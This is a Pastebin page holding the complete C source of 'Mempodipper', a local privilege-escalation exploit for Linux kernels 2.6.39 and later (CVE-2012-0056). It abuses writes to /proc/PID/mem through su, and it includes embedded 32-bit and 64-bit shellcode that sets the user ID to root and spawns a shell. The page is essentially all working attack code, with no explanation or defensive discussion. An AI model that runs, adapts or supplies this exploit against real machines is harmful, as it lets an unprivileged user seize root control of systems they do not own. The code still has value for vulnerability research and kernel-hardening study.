Advertisement
The_KGB

[Exploit]Linux Local Root for >=2.6.39

Mar 19th, 2012
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.63 KB | None | 0 0
  1. # Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
  2. # Platform: Linux
  3. # Category: Local
  4. # CVE-2012-0056
  5.  
  6. /*
  7.  * Mempodipper
  8.  * by zx2c4
  9.  *
  10.  * Linux Local Root Exploit
  11.  *
  12.  * CVE-2012-0056
  13.  */
  14.  
  15. #define _LARGEFILE64_SOURCE
  16. #include <stdio.h>
  17. #include <string.h>
  18. #include <stdlib.h>
  19. #include <sys/types.h>
  20. #include <sys/stat.h>
  21. #include <sys/socket.h>
  22. #include <sys/un.h>
  23. #include <fcntl.h>
  24. #include <unistd.h>
  25. #include <limits.h>
  26.  
  27. char *socket_path = "/tmp/.sockpuppet";
  28. int send_fd(int fd)
  29. {
  30.     char buf[1];
  31.     struct iovec iov;
  32.     struct msghdr msg;
  33.     struct cmsghdr *cmsg;
  34.     struct sockaddr_un addr;
  35.     int n;
  36.     int sock;
  37.     char cms[CMSG_SPACE(sizeof(int))];
  38.      
  39.     if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
  40.         return -1;
  41.     memset(&addr, 0, sizeof(addr));
  42.     addr.sun_family = AF_UNIX;
  43.     strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
  44.     if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
  45.         return -1;
  46.  
  47.     buf[0] = 0;
  48.     iov.iov_base = buf;
  49.     iov.iov_len = 1;
  50.  
  51.     memset(&msg, 0, sizeof msg);
  52.     msg.msg_iov = &iov;
  53.     msg.msg_iovlen = 1;
  54.     msg.msg_control = (caddr_t)cms;
  55.     msg.msg_controllen = CMSG_LEN(sizeof(int));
  56.  
  57.     cmsg = CMSG_FIRSTHDR(&msg);
  58.     cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  59.     cmsg->cmsg_level = SOL_SOCKET;
  60.     cmsg->cmsg_type = SCM_RIGHTS;
  61.     memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
  62.  
  63.     if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  64.         return -1;
  65.     close(sock);
  66.     return 0;
  67. }
  68.  
  69. int recv_fd()
  70. {
  71.     int listener;
  72.     int sock;
  73.     int n;
  74.     int fd;
  75.     char buf[1];
  76.     struct iovec iov;
  77.     struct msghdr msg;
  78.     struct cmsghdr *cmsg;
  79.     struct sockaddr_un addr;
  80.     char cms[CMSG_SPACE(sizeof(int))];
  81.  
  82.     if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
  83.         return -1;
  84.     memset(&addr, 0, sizeof(addr));
  85.     addr.sun_family = AF_UNIX;
  86.     strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
  87.     unlink(socket_path);
  88.     if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
  89.         return -1;
  90.     if (listen(listener, 1) < 0)
  91.         return -1;
  92.     if ((sock = accept(listener, NULL, NULL)) < 0)
  93.         return -1;
  94.      
  95.     iov.iov_base = buf;
  96.     iov.iov_len = 1;
  97.  
  98.     memset(&msg, 0, sizeof msg);
  99.     msg.msg_name = 0;
  100.     msg.msg_namelen = 0;
  101.     msg.msg_iov = &iov;
  102.     msg.msg_iovlen = 1;
  103.  
  104.     msg.msg_control = (caddr_t)cms;
  105.     msg.msg_controllen = sizeof cms;
  106.  
  107.     if ((n = recvmsg(sock, &msg, 0)) < 0)
  108.         return -1;
  109.     if (n == 0)
  110.         return -1;
  111.     cmsg = CMSG_FIRSTHDR(&msg);
  112.     memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  113.     close(sock);
  114.     close(listener);
  115.     return fd;
  116. }
  117.  
  118. int main(int argc, char **argv)
  119. {
  120.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
  121.         char parent_mem[256];
  122.         sprintf(parent_mem, "/proc/%s/mem", argv[2]);
  123.         printf("[+] Opening parent mem %s in child.\n", parent_mem);
  124.         int fd = open(parent_mem, O_RDWR);
  125.         if (fd < 0) {
  126.             perror("[-] open");
  127.             return 1;
  128.         }
  129.         printf("[+] Sending fd %d to parent.\n", fd);
  130.         send_fd(fd);
  131.         return 0;
  132.     }
  133.      
  134.     printf("===============================\n");
  135.     printf("=          Mempodipper        =\n");
  136.     printf("=           by zx2c4          =\n");
  137.     printf("=                             =\n");
  138.     printf("===============================\n\n");
  139.      
  140.     int parent_pid = getpid();
  141.     if (fork()) {
  142.         printf("[+] Waiting for transferred fd in parent.\n");
  143.         int fd = recv_fd();
  144.         printf("[+] Received fd at %d.\n", fd);
  145.         if (fd < 0) {
  146.             perror("[-] recv_fd");
  147.             return -1;
  148.         }
  149.         printf("[+] Assigning fd %d to stderr.\n", fd);
  150.         dup2(2, 6);
  151.         dup2(fd, 2);
  152.  
  153.         unsigned long address;
  154.         if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  155.             address = strtoul(argv[2], NULL, 16);
  156.         else {
  157.             printf("[+] Reading su for exit@plt.\n");
  158.             // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
  159.             FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  160.             char result[32];
  161.             result[0] = 0;
  162.             fgets(result, 32, command);
  163.             pclose(command);
  164.             address = strtoul(result, NULL, 16);
  165.             if (address == ULONG_MAX || !address) {
  166.                 printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
  167.                 printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
  168.                 return 1;
  169.             }
  170.             printf("[+] Resolved exit@plt to 0x%lx.\n", address);
  171.         }
  172.         printf("[+] Calculating su padding.\n");
  173.         FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
  174.         char result[256];
  175.         result[0] = 0;
  176.         fgets(result, 256, command);
  177.         pclose(command);
  178.         unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
  179.         unsigned long offset = address - su_padding;
  180.         printf("[+] Seeking to offset 0x%lx.\n", offset);
  181.         lseek64(fd, offset, SEEK_SET);
  182.          
  183. #if defined(__i386__)
  184.         // See shellcode-32.s in this package for the source.
  185.         char shellcode[] =
  186.             "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  187.             "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  188.             "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  189.             "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  190.             "\x80";
  191. #elif defined(__x86_64__)
  192.         // See shellcode-64.s in this package for the source.
  193.         char shellcode[] =
  194.             "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
  195.             "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
  196.             "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
  197.             "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
  198.             "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  199.  
  200. #else
  201. #error "That platform is not supported."
  202. #endif
  203.         printf("[+] Executing su with shellcode.\n");
  204.         execl("/bin/su", "su", shellcode, NULL);
  205.     } else {
  206.         char pid[32];
  207.         sprintf(pid, "%d", parent_pid);
  208.         printf("[+] Executing child from child fork.\n");
  209.         execl("/proc/self/exe", argv[0], "-c", pid, NULL);
  210.     }
  211. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement